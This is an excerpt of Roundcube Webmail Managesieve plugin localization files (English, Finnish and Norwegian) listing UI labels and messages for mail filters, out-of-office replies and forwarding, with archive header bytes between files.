$labels['vacation.reply'] = 'Reply message';
$labels['vacation.advanced'] = 'Advanced settings';
$labels['vacation.from'] = 'Reply sender address';
$labels['vacation.subject'] = 'Subject';
$labels['vacation.body'] = 'Body';
$labels['vacation.start'] = 'Start time';
$labels['vacation.end'] = 'End time';
$labels['vacation.status'] = 'Status';
$labels['vacation.on'] = 'On';
$labels['vacation.off'] = 'Off';
$labels['vacation.addresses'] = 'My e-mail addresses';
$labels['vacation.interval'] = 'Reply interval';
$labels['vacation.after'] = 'Put the out-of-office rule after';
$labels['vacation.saving'] = 'Saving data...';
$labels['vacation.action'] = 'Incoming message action';
$labels['vacation.keep'] = 'Keep';
$labels['vacation.discard'] = 'Discard';
$labels['vacation.redirect'] = 'Redirect to';
$labels['vacation.copy'] = 'Send copy to';
$labels['forward'] = 'Forwarding';
$labels['forward.redirect'] = 'Redirect to';
$labels['forward.copy'] = 'Send copy to';
$labels['forward.on'] = 'On';
$labels['forward.off'] = 'Off';
$labels['forward.status'] = 'Status:';
$labels['forward.action'] = 'For incoming mails execute the following action:';
$labels['forward.saving'] = 'Saving data...';
$labels['filladdresses'] = 'Fill with all my addresses';
$labels['arialabelfiltersetactions'] = 'Filter set actions';
$labels['arialabelfilteractions'] = 'Filter actions';
$labels['arialabelfilterform'] = 'Filter properties';
$labels['ariasummaryfilterslist'] = 'List of filters';
$labels['ariasummaryfiltersetslist'] = 'List of filter sets';
$labels['filterstitle'] = 'Edit incoming mail filters';
$labels['vacationtitle'] = 'Edit out-of-office rule';
$labels['forwardtitle'] = 'Edit mail forwarding rule';
$labels['message'] = 'Message';
$labels['duplicate'] = 'is duplicate';
$labels['notduplicate'] = 'is not duplicate';
$labels['duplicate.handle'] = 'handle:';
$labels['duplicate.header'] = 'header:';
$labels['duplicate.uniqueid'] = 'identifier:';
$labels['duplicate.seconds'] = 'timeout (seconds):';
$labels['duplicate.last'] = 'relative to the last execution';

$messages = [];
$messages['filterunknownerror'] = 'Unknown server error.';
$messages['filterconnerror'] = 'Unable to connect to server.';
$messages['filterdeleteerror'] = 'Unable to delete filter. Server error occurred.';
$messages['filterdeleted'] = 'Filter deleted successfully.';
$messages['filtersaved'] = 'Filter saved successfully.';
$messages['filtersaveerror'] = 'Unable to save filter. Server error occurred.';
$messages['filterformerror'] = 'Filter form contains errors.';
$messages['filterdeleteconfirm'] = 'Do you really want to delete selected filter?';
$messages['ruledeleteconfirm'] = 'Are you sure, you want to delete selected rule?';
$messages['actiondeleteconfirm'] = 'Are you sure, you want to delete selected action?';
$messages['forbiddenchars'] = 'Forbidden characters in field.';
$messages['cannotbeempty'] = 'Field cannot be empty.';
$messages['ruleexist'] = 'Filter with specified name already exists.';
$messages['setactivateerror'] = 'Unable to activate selected filter set. Server error occurred.';
$messages['setdeactivateerror'] = 'Unable to deactivate selected filter set. Server error occurred.';
$messages['setdeleteerror'] = 'Unable to delete selected filter set. Server error occurred.';
$messages['setactivated'] = 'Filter set activated successfully.';
$messages['setdeactivated'] = 'Filter set deactivated successfully.';
$messages['setdeleted'] = 'Filter set deleted successfully.';
$messages['setupdated'] = 'Filter set updated successfully.';
$messages['setdeleteconfirm'] = 'Are you sure, you want to delete selected filter set?';
$messages['setcreateerror'] = 'Unable to create filter set. Server error occurred.';
$messages['setcreated'] = 'Filter set created successfully.';
$messages['activateerror'] = 'Unable to enable selected filter(s). Server error occurred.';
$messages['deactivateerror'] = 'Unable to disable selected filter(s). Server error occurred.';
$messages['deactivated'] = 'Filter(s) disabled successfully.';
$messages['activated'] = 'Filter(s) enabled successfully.';
$messages['moved'] = 'Filter moved successfully.';
$messages['moveerror'] = 'Unable to move selected filter. Server error occurred.';
$messages['nametoolong'] = 'Name too long.';
$messages['namereserved'] = 'Reserved name.';
$messages['setexist'] = 'Set already exists.';
$messages['nodata'] = 'At least one position must be selected!';
$messages['invaliddateformat'] = 'Invalid date or date part format';
$messages['saveerror'] = 'Unable to save data. Server error occurred.';
$messages['vacationsaved'] = 'Out-of-office data saved successfully.';
$messages['forwardsaved'] = 'Forward data saved successfully.';
$messages['emptyvacationbody'] = 'Body of vacation message is required!';
$messages['duplicate.conflict.err'] = 'Both header and unique identifier are not allowed.';
$messages['disabledaction'] = 'Action not permitted.';
$messages['lastindexempty'] = 'Index is required when counting from end';
$messages['noflagset'] = 'At least one flag must be selected.';
PKh�\.��9�9*plugins/managesieve/localization/fi_FI.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Managesieve plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-managesieve/
*/


$labels['filters'] = 'Suodattimet';
$labels['managefilters'] = 'Hallitse saapuvan sähköpostin suodattimia';
$labels['filtername'] = 'Suodattimen nimi';
$labels['newfilter'] = 'Uusi suodatin';
$labels['filteradd'] = 'Lisää suodatin';
$labels['filterdel'] = 'Poista suodatin';
$labels['rules'] = 'Säännöt';
$labels['actions'] = 'Toiminnot';
$labels['scope'] = 'Rajaus';
$labels['moveup'] = 'Siirrä ylös';
$labels['movedown'] = 'Siirrä alas';
$labels['filterallof'] = 'Täsmää kaikkiin seuraaviin sääntöihin';
$labels['filteranyof'] = 'Täsmää mihin tahansa seuraavista säännöistä';
$labels['filterany'] = 'Kaikki viestit';
$labels['filtercontains'] = 'Sisältää';
$labels['filternotcontains'] = 'Ei sisällä';
$labels['filteris'] = 'on samanlainen kuin';
$labels['filterisnot'] = 'ei ole samanlainen kuin';
$labels['filterexists'] = 'on olemassa';
$labels['filternotexists'] = 'ei ole olemassa';
$labels['filtermatches'] = 'vastaa lauseketta';
$labels['filternotmatches'] = 'ei vastaa lauseketta';
$labels['filterregex'] = 'vastaa säännöllistä lauseketta';
$labels['filternotregex'] = 'ei vastaa säännöllistä lauseketta';
$labels['filterunder'] = 'alle';
$labels['filterover'] = 'yli';
$labels['mime'] = 'MIME:';
$labels['mimepart'] = 'MIME-osio:';
$labels['mime-message'] = 'viesti';
$labels['mime-anychild'] = 'mikä tahansa';
$labels['mime-type'] = 'tyyppi';
$labels['mime-subtype'] = 'alatyyppi';
$labels['mime-contenttype'] = 'sisällön tyyppi';
$labels['mime-param'] = 'parametri';
$labels['addrule'] = 'Lisää sääntö';
$labels['delrule'] = 'Poista sääntö';
$labels['messagemoveto'] = 'Siirrä viesti';
$labels['messageredirect'] = 'Lähetä viesti edelleen';
$labels['messagecopyto'] = 'Kopioi viesti';
$labels['messagesendcopy'] = 'Lähetä kopio viestistä';
$labels['messagereply'] = 'Vastaa viestillä';
$labels['messagedelete'] = 'Poista viesti';
$labels['messagediscard'] = 'Hylkää viestillä';
$labels['messagekeep'] = 'Säilytä viesti saapuneissa';
$labels['messagesrules'] = 'Saapuville viesteille:';
$labels['messagesactions'] = '...suorita seuraavat toiminnot:';
$labels['add'] = 'Lisää';
$labels['del'] = 'Poista';
$labels['sender'] = 'Lähettäjä';
$labels['recipient'] = 'Vastaanottaja';
$labels['vacationaddr'] = 'Sähköpostiosoitteeni:';
$labels['vacationdays'] = 'Viestien lähetysväli (päivissä):';
$labels['vacationinterval'] = 'Viestien lähetysväli:';
$labels['vacationreason'] = 'Viestin runko (loman syy):';
$labels['vacationfrom'] = 'Vastauksen lähetysosoite:';
$labels['vacationsubject'] = 'Viestin aihe:';
$labels['days'] = 'päivää';
$labels['seconds'] = 'sekuntia';
$labels['rulestop'] = 'Lopeta sääntöjen arviointi';
$labels['enable'] = 'Ota käyttöön/poista käytöstä';
$labels['filterset'] = 'Suodatinasetus';
$labels['filtersets'] = 'Suodattimen asetus';
$labels['filtersetadd'] = 'Lisää suodatinasetus';
$labels['filtersetdel'] = 'Poista suodatinasetus';
$labels['filtersetact'] = 'Ota käyttöön nykyinen suodatinasetus';
$labels['filtersetdeact'] = 'Poista nykyinen suodatinasetus käytöstä';
$labels['filterseteditraw'] = 'Muokkaa suodatinasetusta';
$labels['filtersetswitch'] = 'Ota käyttöön/poista käytöstä suodatinasetukset';
$labels['filterdef'] = 'Suodattimen määrittely';
$labels['filtersetname'] = 'Suodatinasetuksen nimi';
$labels['newfilterset'] = 'Uusi suodatinasetus';
$labels['active'] = 'aktiivinen';
$labels['none'] = 'Ei mikään';
$labels['fromset'] = 'sarjasta';
$labels['fromfile'] = 'tiedostosta';
$labels['filterdisabled'] = 'Suodatin poistettu käytöstä';
$labels['filterenabled'] = 'Suodatin käytössä';
$labels['countisgreaterthan'] = 'määrä on suurempi kuin';
$labels['countisgreaterthanequal'] = 'määrä on suurempi tai yhtä suuri kuin';
$labels['countislessthan'] = 'määrä on vähemmän kuin';
$labels['countislessthanequal'] = 'määrä on vähemmän tai yhtä suuri kuin';
$labels['countequals'] = 'määrä on yhtä suuri kuin';
$labels['countnotequals'] = 'määrä ei ole yhtä suuri kuin';
$labels['valueisgreaterthan'] = 'arvo on suurempi kuin';
$labels['valueisgreaterthanequal'] = 'arvo on suurempi kuin tai yhtä suuri kuin';
$labels['valueislessthan'] = 'arvo on vähemmän kuin';
$labels['valueislessthanequal'] = 'määrä on vähemmän tai yhtä suuri kuin';
$labels['valueequals'] = 'arvo on yhtä suuri kuin';
$labels['valuenotequals'] = 'arvo ei ole yhtä suuri kuin';
$labels['setflags'] = 'Aseta liput viestiin';
$labels['addflags'] = 'Lisää liput viestiin';
$labels['removeflags'] = 'Poista liput viestistä';
$labels['flagread'] = 'Lue';
$labels['flagdeleted'] = 'Poistettu';
$labels['flaganswered'] = 'Vastattu';
$labels['flagflagged'] = 'Liputettu';
$labels['flagdraft'] = 'Luonnos';
$labels['addheader'] = 'Lisää otsake viestiin';
$labels['deleteheader'] = 'Poista otsake viestistä';
$labels['headername'] = 'Otsakkeen nimi';
$labels['headervalue'] = 'Otsakkeen arvo';
$labels['headerpos'] = 'Otsakkeen sijainti';
$labels['headeratstart'] = 'alussa';
$labels['headeratend'] = 'lopussa';
$labels['headeroccurrence'] = 'Otsakkeen esiintyminen/sijainti';
$labels['headerfromstart'] = 'alusta';
$labels['headerfromend'] = 'lopusta';
$labels['headerpatterns'] = 'Otsakearvon kaava';
$labels['headermatchtype'] = 'täsmää tyyppiin:';
$labels['setvariable'] = 'Aseta muuttuja';
$labels['setvarname'] = 'Muuttujan nimi:';
$labels['setvarvalue'] = 'Muuttujan arvo:';
$labels['setvarmodifiers'] = 'Muuntimet:';
$labels['varlower'] = 'pienellä kirjoitettu';
$labels['varupper'] = 'isolla kirjoitettu';
$labels['varlowerfirst'] = 'ensimmäinen merkki pienellä kirjoitettuna';
$labels['varupperfirst'] = 'ensimmäinen merkki isolla kirjoitettuna';
$labels['varquotewildcard'] = 'lainaa erikoismerkit';
$labels['varlength'] = 'pituus';
$labels['notify'] = 'Lähetä ilmoitus';
$labels['notifytarget'] = 'Ilmoituksen kohde:';
$labels['notifymessage'] = 'Ilmoituksen viesti (valinnainen):';
$labels['notifyoptions'] = 'Ilmoituksen valinnat (valinnainen)';
$labels['notifyfrom'] = 'Ilmoituksen lähettäjä (valinnainen):';
$labels['notifyimportance'] = 'Tärkeysaste:';
$labels['notifyimportancelow'] = 'matala';
$labels['notifyimportancenormal'] = 'normaali';
$labels['notifyimportancehigh'] = 'korkea';
$labels['notifymethodmailto'] = 'Sähköposti';
$labels['notifymethodtel'] = 'Puhelin';
$labels['notifymethodsms'] = 'Tekstiviesti';
$labels['filtercreate'] = 'Luo suodatin';
$labels['usedata'] = 'Käytä seuraavaa dataa suodattimessa:';
$labels['nextstep'] = 'Seuraava vaihe';
$labels['...'] = '...';
$labels['string'] = 'Merkkijono';
$labels['currdate'] = 'Nykyinen päivämäärä';
$labels['datetest'] = 'Päivämäärä';
$labels['dateheader'] = 'otsikko:';
$labels['year'] = 'vuosi';
$labels['month'] = 'kuukausi';
$labels['day'] = 'päivä';
$labels['date'] = 'päivämäärä (vvvv-kk-pp)';
$labels['julian'] = 'päivämäärä (juliaaninen)';
$labels['hour'] = 'tunti';
$labels['minute'] = 'minuutti';
$labels['second'] = 'sekunti';
$labels['time'] = 'aika (hh:mm:ss)';
$labels['iso8601'] = 'päivämäärä (ISO8601)';
$labels['std11'] = 'päivämäärä (RFC2882)';
$labels['zone'] = 'aikavyöhyke';
$labels['weekday'] = 'viikonpäivä (0-6)';
$labels['advancedopts'] = 'Lisävalinnat';
$labels['body'] = 'Runko';
$labels['address'] = 'osoite';
$labels['envelope'] = 'kirjekuori';
$labels['modifier'] = 'muuntaja:';
$labels['text'] = 'teksti';
$labels['undecoded'] = 'dekoodaamaton (raaka)';
$labels['contenttype'] = 'sisällön tyyppi';
$labels['modtype'] = 'tyyppi:';
$labels['allparts'] = 'kaikki';
$labels['domain'] = 'domain';
$labels['localpart'] = 'paikallinen osa';
$labels['user'] = 'käyttäjä';
$labels['detail'] = 'yksityiskohta';
$labels['comparator'] = 'vertailija:';
$labels['default'] = 'oletus';
$labels['octet'] = 'tarkka (tavuina)';
$labels['asciicasemap'] = 'kirjainkoosta riippumaton (ascii-merkistö)';
$labels['asciinumeric'] = 'numeerinen (ascii-numerot)';
$labels['index'] = 'indeksi:';
$labels['indexlast'] = 'taaksepäin';
$labels['spamtest'] = 'Roskapostitaso';
$labels['spamtestisgreaterthan'] = 'on suurempi kuin';
$labels['spamtestisgreaterthanequal'] = 'on suurempi tai yhtä suuri kuin';
$labels['spamtestislessthan'] = 'on vähemmän kuin';
$labels['spamtestislessthanequal'] = 'on vähemmän tai yhtä suuri kuin';
$labels['spamtestequals'] = 'on samanlainen kuin';
$labels['spamtestnotequals'] = 'ei ole samanlainen kuin';
$labels['spamtestisunknown'] = 'on tuntematon';
$labels['vacation'] = 'Lomavastaaja';
$labels['vacation.reply'] = 'Vastausviesti';
$labels['vacation.advanced'] = 'Lisäasetukset';
$labels['vacation.from'] = 'Vastauksen lähetysosoite';
$labels['vacation.subject'] = 'Aihe';
$labels['vacation.body'] = 'Sisältö';
$labels['vacation.start'] = 'Aloitusaika';
$labels['vacation.end'] = 'Päättymisaika';
$labels['vacation.status'] = 'Tila';
$labels['vacation.on'] = 'Päällä';
$labels['vacation.off'] = 'Pois';
$labels['vacation.addresses'] = 'Omat osoitteeni';
$labels['vacation.interval'] = 'Vastausväli';
$labels['vacation.after'] = 'Lisää lomavastaaja tämän säännön jälkeen';
$labels['vacation.saving'] = 'Tallennetaan tietoja...';
$labels['vacation.action'] = 'Toiminto saapuvalle viestille';
$labels['vacation.keep'] = 'Säilytä';
$labels['vacation.discard'] = 'Hylkää';
$labels['vacation.redirect'] = 'Ohjaa uudelleen osoitteeseen';
$labels['vacation.copy'] = 'Lähetä kopio osoitteeseen';
$labels['forward'] = 'Uudelleenohjaus';
$labels['forward.redirect'] = 'Ohjaa uudelleen osoitteeseen';
$labels['forward.copy'] = 'Lähetä kopio osoitteeseen';
$labels['forward.on'] = 'Päällä';
$labels['forward.off'] = 'Pois';
$labels['forward.status'] = 'Tila:';
$labels['forward.action'] = 'Suorita seuraava sääntö saapuville viesteille:';
$labels['forward.saving'] = 'Tallennetaan tietoja...';
$labels['filladdresses'] = 'Lisää kaikki osoitteeni';
$labels['arialabelfiltersetactions'] = 'Suodatinasetuksen toiminnot';
$labels['arialabelfilteractions'] = 'Suodattimen toiminnot';
$labels['arialabelfilterform'] = 'Suodattimen asetukset';
$labels['ariasummaryfilterslist'] = 'Suodatinlista';
$labels['ariasummaryfiltersetslist'] = 'Suodatinasetuslista';
$labels['filterstitle'] = 'Muokkaa saapuvan postin suodattimia';
$labels['vacationtitle'] = 'Muokkaa poissaolosääntöä';
$labels['forwardtitle'] = 'Muokkaa viestien vältyssääntöä';
$labels['message'] = 'Viesti';
$labels['duplicate'] = 'on kopio';
$labels['notduplicate'] = 'ei ole kopio';
$labels['duplicate.handle'] = 'käsittele:';
$labels['duplicate.header'] = 'otsikko:';
$labels['duplicate.uniqueid'] = 'tunniste:';
$labels['duplicate.seconds'] = 'aikakatkaisu (sekuntia):';
$labels['duplicate.last'] = 'suhteellinen viimeiseen suoritukseen';
$messages['filterunknownerror'] = 'Tuntematon palvelinvirhe.';
$messages['filterconnerror'] = 'Yhteys palvelimeen epäonnistui.';
$messages['filterdeleteerror'] = 'Suodattimen poistaminen epäonnistui. Tapahtui palvelinvirhe.';
$messages['filterdeleted'] = 'Suodatin poistettu onnistuneesti.';
$messages['filtersaved'] = 'Suodatin tallennettu onnistuneesti.';
$messages['filtersaveerror'] = 'Suodattimen tallennus epäonnistui palvelinvirheen vuoksi.';
$messages['filterformerror'] = 'Suodatinlomake sisältää virheitä.';
$messages['filterdeleteconfirm'] = 'Haluatko varmasti poistaa valitun suodattimen?';
$messages['ruledeleteconfirm'] = 'Haluatko varmasti poistaa valitun säännön?';
$messages['actiondeleteconfirm'] = 'Haluatko varmasti poistaa valitun toimenpiteen?';
$messages['forbiddenchars'] = 'Virheellisiä merkkejä kentässä.';
$messages['cannotbeempty'] = 'Kenttä ei voi olla tyhjä.';
$messages['ruleexist'] = 'Suodatin samalla nimellä on jo olemassa.';
$messages['setactivateerror'] = 'Palvelinvirheestä johtuen suodatinasetuksia ei voitu ottaa käyttöön.';
$messages['setdeactivateerror'] = 'Palvelinvirheestä johtuen suodatinasetuksia ei voitu kytkeä pois päältä.';
$messages['setdeleteerror'] = 'Palvelinvirheestä johtuen suodatinasetuksia ei voitu poistaa.';
$messages['setactivated'] = 'Suodatinasetukset kytketty päälle.';
$messages['setdeactivated'] = 'Suodatinasetukset kytketty pois päältä.';
$messages['setdeleted'] = 'Suodatinasetus poistettu.';
$messages['setupdated'] = 'Suodatinasetus päivitetty.';
$messages['setdeleteconfirm'] = 'Oletko varma että haluat poistaa valitun suodatinasetuksen?';
$messages['setcreateerror'] = 'Palvelinvirheestä johtuen suodatinasetusta ei voitu luoda.';
$messages['setcreated'] = 'Suodatinasetus luotiin onnistuneesti.';
$messages['activateerror'] = 'Palvelinvirheestä johtuen valittuja suodattimia ei voitu ottaa käyttöön.';
$messages['deactivateerror'] = 'Palvelinvirheestä johtuen valittuja suodattimia ei voitu kytkeä pois käytöstä.';
$messages['deactivated'] = 'Suodattimet kytketty pois käytöstä.';
$messages['activated'] = 'Suodattimet otettu käyttöön.';
$messages['moved'] = 'Suodatin siirretty onnistuneesti.';
$messages['moveerror'] = 'Palvelinvirheestä johtuen suodatinta ei voitu siirtää.';
$messages['nametoolong'] = 'Nimi on liian pitkä.';
$messages['namereserved'] = 'Varattu nimi.';
$messages['setexist'] = 'Suodatinasetus on jo olemassa.';
$messages['nodata'] = 'Vähintään yksi sijainti täytyy valita!';
$messages['invaliddateformat'] = 'Virheellinen päivämäärämuoto.';
$messages['saveerror'] = 'Tietojen tallennus epäonnistui palvelinvirheen vuoksi.';
$messages['vacationsaved'] = 'Lomavastaaja aktivoitu.';
$messages['forwardsaved'] = 'Uudelleenohjaukset tallennettu.';
$messages['emptyvacationbody'] = 'Lomaviestin sisältö vaaditaan!';
$messages['duplicate.conflict.err'] = 'Otsaketta ja uniikkia tunnistetta ei sallita samanaikaisesti.';
$messages['disabledaction'] = 'Toiminto ei ole sallittu.';
$messages['lastindexempty'] = 'Indeksi vaaditaan lopusta laskiessa.';
$messages['noflagset'] = 'Vähintään yksi lippu täytyy valita.';
PKh�\?����5�5*plugins/managesieve/localization/nb_NO.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Managesieve plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-managesieve/
*/


$labels['filters'] = 'Filtre';
$labels['managefilters'] = 'Rediger filter for innkommende e-post';
$labels['filtername'] = 'Filternavn';
$labels['newfilter'] = 'Nytt filter';
$labels['filteradd'] = 'Legg til filter';
$labels['filterdel'] = 'Slett filter';
$labels['rules'] = 'Regler';
$labels['actions'] = 'Handlinger';
$labels['scope'] = 'Omfanget';
$labels['moveup'] = 'Flytt opp';
$labels['movedown'] = 'Flytt ned';
$labels['filterallof'] = 'som treffer alle følgende regler';
$labels['filteranyof'] = 'som treffer en av følgende regler';
$labels['filterany'] = 'alle meldinger';
$labels['filtercontains'] = 'inneholder';
$labels['filternotcontains'] = 'ikke inneholder';
$labels['filteris'] = 'er lik';
$labels['filterisnot'] = 'er ulik';
$labels['filterexists'] = 'eksisterer';
$labels['filternotexists'] = 'ikke eksisterer';
$labels['filtermatches'] = 'treffer uttrykk';
$labels['filternotmatches'] = 'ikke treffer uttrykk';
$labels['filterregex'] = 'treffer regulært uttrykk';
$labels['filternotregex'] = 'ikke treffer regulært uttrykk';
$labels['filterunder'] = 'under';
$labels['filterover'] = 'over';
$labels['mime'] = 'MIME:';
$labels['mimepart'] = 'MIME del:';
$labels['mime-message'] = 'melding';
$labels['mime-anychild'] = 'alle';
$labels['mime-type'] = 'type';
$labels['mime-subtype'] = 'undertype';
$labels['mime-contenttype'] = 'innholdstype';
$labels['mime-param'] = 'parameter';
$labels['addrule'] = 'Legg til regel';
$labels['delrule'] = 'Slett regel';
$labels['messagemoveto'] = 'Flytt meldingen til';
$labels['messageredirect'] = 'Videresend meldingen til';
$labels['messagecopyto'] = 'Kopier meldingen til';
$labels['messagesendcopy'] = 'Send en kopi av meldingen til';
$labels['messagereply'] = 'Svar med melding';
$labels['messagedelete'] = 'Slett melding';
$labels['messagediscard'] = 'Avvis med melding';
$labels['messagekeep'] = 'Behold melding i innboks';
$labels['messagesrules'] = 'For innkommende e-post';
$labels['messagesactions'] = '... gjør følgende:';
$labels['add'] = 'Legg til';
$labels['del'] = 'Slett';
$labels['sender'] = 'Avsender';
$labels['recipient'] = 'Mottaker';
$labels['vacationaddr'] = 'Mine e-postadresser:';
$labels['vacationdays'] = 'Periode mellom meldinger (i dager):';
$labels['vacationinterval'] = 'Periode mellom meldinger:';
$labels['vacationreason'] = 'Innhold (begrunnelse for fravær)';
$labels['vacationfrom'] = 'Avsender:';
$labels['vacationsubject'] = 'Meldingsemne:';
$labels['days'] = 'dager';
$labels['seconds'] = 'sekunder';
$labels['rulestop'] = 'Stopp evaluering av regler';
$labels['enable'] = 'Aktiver/Deaktiver';
$labels['filterset'] = 'Filtersett';
$labels['filtersets'] = 'Filtersett';
$labels['filtersetadd'] = 'Legg til filtersett';
$labels['filtersetdel'] = 'Slett filtersett';
$labels['filtersetact'] = 'Aktiver gjeldende filtersett';
$labels['filtersetdeact'] = 'Deaktiver gjeldende filtersett';
$labels['filterseteditraw'] = 'Rediger filtersett';
$labels['filtersetswitch'] = 'Aktiver/deaktiver filtersett';
$labels['filterdef'] = 'Filterdefinisjon';
$labels['filtersetname'] = 'Navn på filtersett';
$labels['newfilterset'] = 'Nytt filtersett';
$labels['active'] = 'aktiv';
$labels['none'] = 'ingen';
$labels['fromset'] = 'fra sett';
$labels['fromfile'] = 'fra fil';
$labels['filterdisabled'] = 'Filter deaktivert';
$labels['filterenabled'] = 'Filter aktivert';
$labels['countisgreaterthan'] = 'antall er flere enn';
$labels['countisgreaterthanequal'] = 'antall er flere enn eller lik';
$labels['countislessthan'] = 'antall er færre enn';
$labels['countislessthanequal'] = 'antall er færre enn eller lik';
$labels['countequals'] = 'antall er lik';
$labels['countnotequals'] = 'tallet er ikke det samme som';
$labels['valueisgreaterthan'] = 'verdien er høyrere enn';
$labels['valueisgreaterthanequal'] = 'verdien er høyere eller lik';
$labels['valueislessthan'] = 'verdien er lavere enn';
$labels['valueislessthanequal'] = 'verdien er lavere eller lik';
$labels['valueequals'] = 'verdien er lik';
$labels['valuenotequals'] = 'verdien er ikke den samme som';
$labels['setflags'] = 'Sett meldingsflagg';
$labels['addflags'] = 'Legg til flagg på meldingen';
$labels['removeflags'] = 'Fjern flagg fra meldingen';
$labels['flagread'] = 'Lese';
$labels['flagdeleted'] = 'Slettet';
$labels['flaganswered'] = 'Besvart';
$labels['flagflagged'] = 'Flagget';
$labels['flagdraft'] = 'Utkast';
$labels['addheader'] = 'Legg til meldingshode til melding';
$labels['deleteheader'] = 'Fjern meldingshode fra melding';
$labels['headername'] = 'Navn til meldingshode';
$labels['headervalue'] = 'Verdi til meldingshode';
$labels['headerpos'] = 'Posisjon for meldingshode';
$labels['headeratstart'] = 'på begynnelsen';
$labels['headeratend'] = 'på slutten';
$labels['headeroccurrence'] = 'Hodeplassering';
$labels['headerfromstart'] = 'fra start';
$labels['headerfromend'] = 'fra slutt';
$labels['headerpatterns'] = 'Mønster for hodeinnhold';
$labels['headermatchtype'] = 'type lik:';
$labels['setvariable'] = 'Set variabel';
$labels['setvarname'] = 'Variabelnavn:';
$labels['setvarvalue'] = 'Variabel verdi:';
$labels['setvarmodifiers'] = 'Modifikator:';
$labels['varlower'] = 'med små bokstaver';
$labels['varupper'] = 'med store bokstaver';
$labels['varlowerfirst'] = 'første tegn liten bokstav';
$labels['varupperfirst'] = 'første tegn stor bokstav';
$labels['varquotewildcard'] = 'sitér spesialtegn';
$labels['varlength'] = 'lengde';
$labels['notify'] = 'Send varsel';
$labels['notifytarget'] = 'Varlselsmottaker:';
$labels['notifymessage'] = 'Varselsmelding (valgfritt):';
$labels['notifyoptions'] = 'Varselsalternativer (valgfritt):';
$labels['notifyfrom'] = 'Varlselsavsender (valgfritt):';
$labels['notifyimportance'] = 'Viktighet:';
$labels['notifyimportancelow'] = 'lav';
$labels['notifyimportancenormal'] = 'normal';
$labels['notifyimportancehigh'] = 'høy';
$labels['notifymethodmailto'] = 'E-post';
$labels['notifymethodtel'] = 'Telefon';
$labels['notifymethodsms'] = 'SMS';
$labels['filtercreate'] = 'Opprett filter';
$labels['usedata'] = 'Bruk følgende data i filteret:';
$labels['nextstep'] = 'Neste steg';
$labels['...'] = '...';
$labels['string'] = 'Tekststreng';
$labels['currdate'] = 'Nåværende dato';
$labels['datetest'] = 'Dato';
$labels['dateheader'] = 'header:';
$labels['year'] = 'år';
$labels['month'] = 'måned';
$labels['day'] = 'dag';
$labels['date'] = 'dato (yyyy-mm-dd)';
$labels['julian'] = 'dato (juliansk)';
$labels['hour'] = 'time';
$labels['minute'] = 'minutt';
$labels['second'] = 'sekund';
$labels['time'] = 'tid (hh:mm:ss)';
$labels['iso8601'] = 'dato (ISO8601)';
$labels['std11'] = 'dato (RFC2822)';
$labels['zone'] = 'tidssone';
$labels['weekday'] = 'ukedag (0-6)';
$labels['advancedopts'] = 'Avanserte alternativer';
$labels['body'] = 'Meldingstekst';
$labels['address'] = 'adresse';
$labels['envelope'] = 'konvolutt';
$labels['modifier'] = 'modifikator:';
$labels['text'] = 'tekst';
$labels['undecoded'] = 'ikke dekodet (rå)';
$labels['contenttype'] = 'innholdstype';
$labels['modtype'] = 'type:';
$labels['allparts'] = 'alle';
$labels['domain'] = 'domene';
$labels['localpart'] = 'lokal del (local part)';
$labels['user'] = 'bruker';
$labels['detail'] = 'detalj';
$labels['comparator'] = 'sammenligning:';
$labels['default'] = 'standard';
$labels['octet'] = 'streng (oktett)';
$labels['asciicasemap'] = 'ikke skill store og små bokstaver (ascii-casemap)';
$labels['asciinumeric'] = 'numerisk (ascii-numeric)';
$labels['index'] = 'index:';
$labels['indexlast'] = 'baklengs';
$labels['spamtest'] = 'Spamnivå';
$labels['spamtestisgreaterthan'] = 'er større enn';
$labels['spamtestisgreaterthanequal'] = 'er større enn eller lik';
$labels['spamtestislessthan'] = 'er mindre enn';
$labels['spamtestislessthanequal'] = 'er mindre enn eller lik';
$labels['spamtestequals'] = 'er lik';
$labels['spamtestnotequals'] = 'er ulik';
$labels['spamtestisunknown'] = 'er ukjent';
$labels['vacation'] = 'Fravær';
$labels['vacation.reply'] = 'Svar melding';
$labels['vacation.advanced'] = 'Avanserte innstillinger';
$labels['vacation.from'] = 'Fra adresse';
$labels['vacation.subject'] = 'Emne';
$labels['vacation.body'] = 'Meldingstekst';
$labels['vacation.start'] = 'Start tid';
$labels['vacation.end'] = 'Slutt tid';
$labels['vacation.status'] = 'Status';
$labels['vacation.on'] = 'På';
$labels['vacation.off'] = 'Av';
$labels['vacation.addresses'] = 'Min e-postadresse';
$labels['vacation.interval'] = 'Svarintervall';
$labels['vacation.after'] = 'Plasser fraværsregel etter';
$labels['vacation.saving'] = 'Lagrer data...';
$labels['vacation.action'] = 'Handling for innkommende meldinger';
$labels['vacation.keep'] = 'Behold';
$labels['vacation.discard'] = 'Forkast';
$labels['vacation.redirect'] = 'Videresend til';
$labels['vacation.copy'] = 'Send kopi til';
$labels['forward'] = 'Videresending';
$labels['forward.redirect'] = 'Videresend til';
$labels['forward.copy'] = 'Send kopi til';
$labels['forward.on'] = 'På';
$labels['forward.off'] = 'Av';
$labels['forward.status'] = 'Status:';
$labels['forward.action'] = 'Handling for innkommende meldinger:';
$labels['forward.saving'] = 'Lagrer data...';
$labels['filladdresses'] = 'Fyll ut med alle mine adresser';
$labels['arialabelfiltersetactions'] = 'Filtersetthandlinger';
$labels['arialabelfilteractions'] = 'Filterhandling';
$labels['arialabelfilterform'] = 'Filteregenskaper';
$labels['ariasummaryfilterslist'] = 'Liste over filtre';
$labels['ariasummaryfiltersetslist'] = 'Liste over filtersett';
$labels['filterstitle'] = 'Rediger innkommende mailfiltre';
$labels['vacationtitle'] = 'Rediger fraværsregel';
$labels['forwardtitle'] = 'Rediger videresendingsregel';
$labels['message'] = 'Melding';
$labels['duplicate'] = 'er duplikat';
